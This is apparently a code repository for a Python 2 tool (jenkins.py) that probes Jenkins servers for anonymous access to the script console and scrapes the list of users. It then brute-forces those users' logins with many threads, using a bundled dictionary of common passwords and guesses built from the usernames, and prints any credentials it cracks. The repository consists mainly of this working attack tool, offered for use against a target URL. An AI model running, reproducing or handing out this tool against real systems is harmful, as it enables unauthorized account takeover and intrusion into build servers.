├── .idea
├── Jenkins.iml
├── misc.xml
├── modules.xml
├── vcs.xml
└── workspace.xml
├── README.md
├── comm_dic.txt
└── jenkins.py
/.idea/Jenkins.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/workspace.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Jenkins
2 | Jenkins匿名脚本访问探测、用户抓取并批量爆破
3 |
4 | 运行环境
5 | CentOS、Kali Linux、Ubuntu、Debian
6 | Python 2.7.x
7 | BeautifulSoup4
8 | request
9 |
10 | 使用方法
11 |
12 | python jenkins.py -u http://www.xxx.com/jenkins/
13 |
--------------------------------------------------------------------------------
/comm_dic.txt:
--------------------------------------------------------------------------------
1 | 123456
2 | a123456
3 | 123456a
4 | 5201314
5 | 111111
6 | woaini1314
7 | qq123456
8 | 123123
9 | 000000
10 | 1qaz2wsx
11 | 1q2w3e4r
12 | qwe123
13 | 7758521
14 | 123qwe
15 | a123123
16 | 123456aa
17 | woaini520
18 | woaini
19 | 100200
20 | 1314520
21 | woaini123
22 | 123321
23 | q123456
24 | 123456789
25 | 123456789a
26 | 5211314
27 | asd123
28 | a123456789
29 | z123456
30 | asd123456
31 | a5201314
32 | aa123456
33 | zhang123
34 | aptx4869
35 | 123123a
36 | 1q2w3e4r5t
37 | 1qazxsw2
38 | 5201314a
39 | 1q2w3e
40 | aini1314
41 | 31415926
42 | q1w2e3r4
43 | 123456qq
44 | woaini521
45 | 1234qwer
46 | a111111
47 | 520520
48 | iloveyou
49 | abc123
50 | 110110
51 | 111111a
52 | 123456abc
53 | w123456
54 | 7758258
55 | 123qweasd
56 | 159753
57 | qwer1234
58 | a000000
59 | qq123123
60 | zxc123
61 | 123654
62 | abc123456
63 | 123456q
64 | qq5201314
65 | 12345678
66 | 000000a
67 | 456852
68 | as123456
69 | 1314521
70 | 112233
71 | 521521
72 | qazwsx123
73 | zxc123456
74 | abcd1234
75 | asdasd
76 | 666666
77 | love1314
78 | QAZ123
79 | aaa123
80 | q1w2e3
81 | aaaaaa
82 | a123321
83 | 123000
84 | 11111111
85 | 12qwaszx
86 | 5845201314
87 | s123456
88 | nihao123
89 | caonima123
90 | zxcvbnm123
91 | wang123
92 | 159357
93 | 1A2B3C4D
94 | asdasd123
95 | 584520
96 | 753951
97 | 147258
98 | 1123581321
99 | 110120
100 | qq1314520
--------------------------------------------------------------------------------
/jenkins.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/evn/python
2 | #-*- coding:utf-8 -*-
3 | __author__ = 'BlackYe.'
4 |
5 | import optparse
6 | import urlparse, urllib, urllib2
7 | import socket
8 | from bs4 import BeautifulSoup, SoupStrainer
9 | import re
10 | import requests
11 | import cookielib
12 | import json
13 | import time,sys
14 | import threading
15 | import Queue
16 |
17 | PEOPLE_PERFIX = 'people/'
18 | ASYNCH_PEOPEL_PERFIX = 'asynchPeople/'
19 | VERSION_TAG = 'http://jenkins-ci.org'
20 |
21 | HTTP_HEADERS = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11",
22 | "Accept" : "*/*",
23 | "Cookie": ' bdshare_firstime=1418272043781; mr_97113_1TJ_key=3_1418398208619;'}
24 |
25 |
26 | USER_LIST = Queue.Queue(0)
27 | BRUST_USER_QUEUE = Queue.Queue(0)
28 | SUC_USER_QUEUE = Queue.Queue(0)
29 |
30 | def color_output(output, bSuccess = True):
31 | if bSuccess:
32 | print '\033[1;32;40m%s\033[0m' % output
33 | else:
34 | print '\033[1;31;40m%s\033[0m' % output
35 |
36 | class RedirctHandler(urllib2.HTTPRedirectHandler):
37 | def http_error_301(self, req, fp, code, msg, headers):
38 | pass
39 |
40 | def http_error_302(self, req, fp, code, msg, headers):
41 | pass
42 |
43 | class BrustThread(threading.Thread):
44 |
45 | def __init__(self, brust_url, timeout = 10):
46 | threading.Thread.__init__(self)
47 | self.brust_url = brust_url
48 | self.timeout = timeout
49 | self.try_timeout_cnt = 3
50 |
51 | def run(self):
52 | while BRUST_USER_QUEUE.qsize() > 0:
53 | user_pwd_info = BRUST_USER_QUEUE.get()
54 | if user_pwd_info['count'] < self.try_timeout_cnt:
55 | self.brust(user_pwd_info['user'], user_pwd_info['password'], user_pwd_info['count'])
56 |
57 |
58 | def brust(self, user, pwd, count):
59 | global SUC_USER_QUEUE
60 | opener = urllib2.build_opener(RedirctHandler)
61 | urllib2.install_opener(opener)
62 |
63 | try:
64 | request = urllib2.Request(self.brust_url)
65 | json_data = '{"j_username":"%s", "j_password":"%s", "remember_me":false}' % (user, pwd)
66 | data = {"j_username":"%s" % user, "j_password":"%s" % pwd, "json":json_data, "Submit":"登录"}
67 | postdata = urllib.urlencode(data)
68 | resp = urllib2.urlopen(request, postdata, timeout = self.timeout)
69 |
70 | except urllib2.HTTPError,e:
71 | if e.code == 404:
72 | color_output(u'[-]....brust url error:%d' % e.code)
73 | sys.exit()
74 | elif e.code == 301 or e.code == 302:
75 | result = re.findall(u'(.*)loginError', e.headers['Location'])
76 | if len(result) != 0:
77 | color_output(u'[-]....尝试登陆组合 %s:%s, 失败!' % (user, pwd), False)
78 | else:
79 | SUC_USER_QUEUE.put_nowait({'user':user, 'pwd':pwd})
80 | color_output(u'[-]....尝试登陆组合 %s:%s, 爆破成功!!!' % (user, pwd))
81 | #print e.headers
82 | else:
83 | color_output(u'[-]....尝试登陆组合 %s:%s, 失败!' % (user, pwd), False)
84 | except socket.timeout:
85 | color_output(u'[-]....尝试登陆组合 %s:%s, 返回码:timeout' % (user, pwd), False)
86 | #push to task queue
87 | cnt = count + 1
88 | BRUST_USER_QUEUE.put_nowait({"user":user,"password":pwd, "count":cnt})
89 | except Exception,e:
90 | color_output(u'[-]....尝试登陆组合 %s:%s, 返回码:%s' % (user, pwd, str(e)), False)
91 |
92 |
93 |
94 | class Jenkins(object):
95 |
96 | def __init__(self, url, thread_num = 10, pwd_dic = "comm_dic.txt"):
97 | self.url = url
98 | self.user_list = [] #user list
99 | self.check_version = "1.5"
100 | self.user_link = "asynchPeople"
101 | self.timeout = 4
102 | self.thread_num = thread_num
103 | self.brust_url = urlparse.urljoin(self.url if self.url[len(self.url)-1] == '/' else self.url+'/', 'j_acegi_security_check')
104 | self.pwd_list = []
105 | self.pwd_suffix = ['', '123','1234','12345','000']
106 |
107 | pwd_list = []
108 | with open(pwd_dic) as file:
109 | for line in file.readlines():
110 | pwd_list.append(line.strip(' \r\n'))
111 |
112 | self.pwd_list.extend(pwd_list)
113 |
114 | def __bAnonymous_access(self):
115 | target_url = urlparse.urljoin(self.url if self.url[len(self.url)-1] == '/' else self.url+'/', 'script')
116 | try:
117 | resp = urllib2.urlopen(target_url, timeout= self.timeout)
118 | color_output('[+]....%s anonymous access vul!' % target_url)
119 | return (True, 1)
120 | except urllib2.HTTPError,e:
121 | if e.code == 403:
122 | color_output('[+]....%s unable anonymous access!' % target_url, False)
123 | return (False, 1)
124 | else:
125 | return (False, 0)
126 | except urllib2.URLError:
127 | color_output('[+]....%s unable anonymous access!' % target_url, False)
128 | return (False, -1)
129 | except socket.timeout,e:
130 | print "[-]....%s can't access!" % target_url
131 | return (False, -1)
132 |
133 | def __get_version(self):
134 | '''
135 | get jenkins version
136 | :return:
137 | '''
138 | try:
139 | html = urllib2.urlopen(self.url + '/login?from=%2F').read()
140 | links = SoupStrainer('a' ,href = re.compile(VERSION_TAG))
141 | version_text = BeautifulSoup(html, "html.parser", parse_only= links)
142 | if version_text.text != "":
143 | color_output("[+]....jenkins version is %s" % version_text.text)
144 | version_re = re.findall(u"ver.\s(.*)" ,version_text.text)
145 | if len(version_re) != 0:
146 | if version_re[0][0:4] >= self.check_version:
147 | self.user_link = ASYNCH_PEOPEL_PERFIX
148 | else:
149 | self.user_link = PEOPLE_PERFIX
150 | else:
151 | color_output("[-]....can't get jenkins version!")
152 | sys.exit()
153 | except urllib2.URLError,e:
154 | color_output("[-]....can't get jenkins version!")
155 | sys.exit()
156 | except Exception,e:
157 | color_output("[-]....get version error:%s" % str(e))
158 | sys.exit()
159 |
160 |
161 | def get_all_user_by_people(self):
162 | user_link = urlparse.urljoin(self.url if self.url[len(self.url)-1] == '/' else self.url+'/', self.user_link)
163 | try:
164 | html = requests.get(user_link, timeout = self.timeout, headers = HTTP_HEADERS).text
165 | soup = BeautifulSoup(html, "html.parser")
166 | table_tag = soup.findAll('table', attrs={'id':'people'})
167 | for user_href_tag in table_tag[0].findAll('a', attrs={"class":'model-link'}):
168 | href = user_href_tag.get('href')
169 | if href != u'/':
170 | self.user_list.append(href.replace('/user/', '').strip('/'))
171 |
172 | except requests.exceptions.ConnectTimeout:
173 | color_output("[-]....%s timeout!" % user_link)
174 | except Exception:
175 | color_output("[-]....get_all_user_by_people error!")
176 |
177 |
178 |
179 | def get_all_user_by_async(self):
180 | user_link = urlparse.urljoin(self.url if self.url[len(self.url)-1] == '/' else self.url+'/', self.user_link)
181 | cookiejar = cookielib.CookieJar()
182 | #httpHandler = urllib2.HTTPHandler(debuglevel=1)
183 | #opener = urllib2.build_opener(httpHandler, urllib2.HTTPCookieProcessor(cookiejar))
184 | opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar))
185 |
186 | opener.addheaders = [('User-Agent', HTTP_HEADERS['User-Agent'])]
187 | urllib2.install_opener(opener)
188 |
189 | try:
190 | html = urllib2.urlopen(user_link, timeout = self.timeout).read()
191 | result = re.findall(u'makeStaplerProxy\(\'(.*);', html)
192 | if len(result) != 0:
193 | re_list = result[0].split(',')
194 | proxy_num = re_list[0][re_list[0].rfind('/')+1:-1]
195 | crumb = re_list[1].strip('\'')
196 |
197 | if len(re_list) == 4 and re_list[2].find('start') == -1:
198 | self.user_list.extend(self.__get_peopel_waiting_done(urllib2, user_link ,crumb, proxy_num))
199 | else:
200 | start_url = '%s/$stapler/bound/%s/start' % (self.url, proxy_num)
201 | req = urllib2.Request(start_url, data = '[]')
202 | req.add_header("Content-type", 'application/x-stapler-method-invocation;charset=UTF-8')
203 | req.add_header("X-Prototype-Version", "1.7")
204 | req.add_header("Origin", self.url)
205 | req.add_header("Crumb", crumb)
206 | req.add_header("Accept", 'text/javascript, text/html, application/xml, text/xml, */*')
207 | req.add_header("X-Requested-With", "XMLHttpRequest")
208 | req.add_header("Referer", user_link)
209 | resp = urllib2.urlopen(req, timeout = self.timeout)
210 |
211 | if resp.getcode() == 200:
212 | self.user_list.extend(self.__get_peopel_waiting_done(urllib2, user_link, crumb, proxy_num))
213 |
214 | except urllib2.HTTPError,e:
215 | color_output('[-]....get_all_user_by_async failed, retcode:%d' % e.code, False)
216 | return False
217 | except socket.timeout:
218 | color_output('[-]....get_all_user_by_async timeout' , False)
219 | return False
220 | except Exception,e:
221 | color_output('[-]....get_all_user_by_async error:%s' % str(e), False)
222 | return False
223 |
224 |
225 | def __get_peopel_waiting_done(self, URLLIB2, referer, crumb, proxy_num):
226 | b_done = True
227 | user_list = []
228 | while b_done:
229 | try:
230 | news_url = '%s/$stapler/bound/%s/news' % (self.url, proxy_num)
231 | req = URLLIB2.Request(news_url, data = '[]')
232 | req.add_header("Content-type", 'application/x-stapler-method-invocation;charset=UTF-8')
233 | req.add_header("X-Prototype-Version", "1.7")
234 | req.add_header("Content-Length",'2')
235 | req.add_header("Accept-Encoding", "identity")
236 | req.add_header("Origin", self.url)
237 | req.add_header("Crumb", crumb)
238 | req.add_header("X-Requested-With", "XMLHttpRequest")
239 | req.add_header("Referer", referer)
240 | resp = URLLIB2.urlopen(req, timeout = self.timeout)
241 |
242 | if resp.getcode() == 200:
243 | try:
244 | content = resp.read()
245 | ret_json = json.loads(content, encoding="utf-8")
246 | for item in ret_json['data']:
247 | if item['id'] != None:
248 | user_list.append(item['id'])
249 |
250 | if ret_json['status'] == 'done': #wait recv end
251 | b_done = False
252 |
253 | time.sleep(0.5)
254 |
255 | except Exception,e:
256 | print str(e)
257 | b_done = False
258 | else:
259 | b_done = False
260 |
261 | except urllib2.HTTPError,e:
262 | b_done = False
263 | except socket.timeout:
264 | b_done = False
265 | except Exception:
266 | b_done = False
267 |
268 | return list(set(user_list))
269 |
270 |
271 | def work(self):
272 | print '-' * 50
273 | print '* Detect Jenkins anonymous access'
274 | print '-' * 50
275 | info, status = self.__bAnonymous_access()
276 |
277 | if status == 1 and not info:
278 | print '-' * 50
279 | print '* Get Jenkins Version'
280 | print '-' * 50
281 | self.__get_version() #获取版本信息
282 |
283 | print '-' * 50
284 | print '* Get Jenkins All user'
285 | print '-' * 50
286 |
287 | if self.user_link == PEOPLE_PERFIX:
288 | self.get_all_user_by_people()
289 | elif self.user_link == ASYNCH_PEOPEL_PERFIX:
290 | self.get_all_user_by_async()
291 |
292 | color_output('[+]....Jenkins All user count:%d' % len(self.user_list), True)
293 | if len(self.user_list) != 0:
294 |
295 | for user in self.user_list:
296 | for pwd in self.pwd_list:
297 | BRUST_USER_QUEUE.put_nowait({"user":user,"password":pwd, "count":0})
298 | #动态生成密码
299 | for suffix_pwd in self.pwd_suffix:
300 | BRUST_USER_QUEUE.put_nowait({"user":user,"password":user + suffix_pwd, "count":0})
301 |
302 | print '-' * 50
303 | print '* Brust All Jenkins User'
304 | print '-' * 50
305 |
306 | threads = []
307 | for i in range(self.thread_num):
308 | brustthread = BrustThread(self.brust_url)
309 | threads.append(brustthread)
310 |
311 | for brustthread in threads:
312 | brustthread.start()
313 |
314 | for brustthread in threads:
315 | brustthread.join()
316 |
317 | if SUC_USER_QUEUE.qsize() > 0:
318 | print '-' * 50
319 | print '* Brust All User Success Result'
320 | print '-' * 50
321 | print 'total success count : %d' % SUC_USER_QUEUE.qsize()
322 | while SUC_USER_QUEUE.qsize() > 0:
323 | suc_user_dic = SUC_USER_QUEUE.get_nowait()
324 | color_output('User:%s, Password:%s' % (suc_user_dic['user'], suc_user_dic['pwd']))
325 |
326 |
327 | def test(self):
328 | self.__bAnonymous_access()
329 |
330 | if __name__ == '__main__':
331 | parser = optparse.OptionParser('usage: python %prog [options](eg: python %prog http://www.qq.com/)')
332 | parser.add_option('-u', '--url', dest = 'url', type = 'string', help = 'target url')
333 | parser.add_option('-t', '--threads', dest='thread_num', type = 'int', default = 10, help = 'Number of threads. default = 10')
334 | parser.add_option('-f', '--dic', dest = 'dic', type='string', default = 'comm_dic.txt', help = 'Dict file used to brute jenkins')
335 |
336 | (options, args) = parser.parse_args()
337 | if options.url == None or options.url == "":
338 | parser.print_help()
339 | sys.exit()
340 |
341 | jenkins_work = Jenkins(url = options.url, thread_num = options.thread_num, pwd_dic = options.dic)
342 | jenkins_work.work()
--------------------------------------------------------------------------------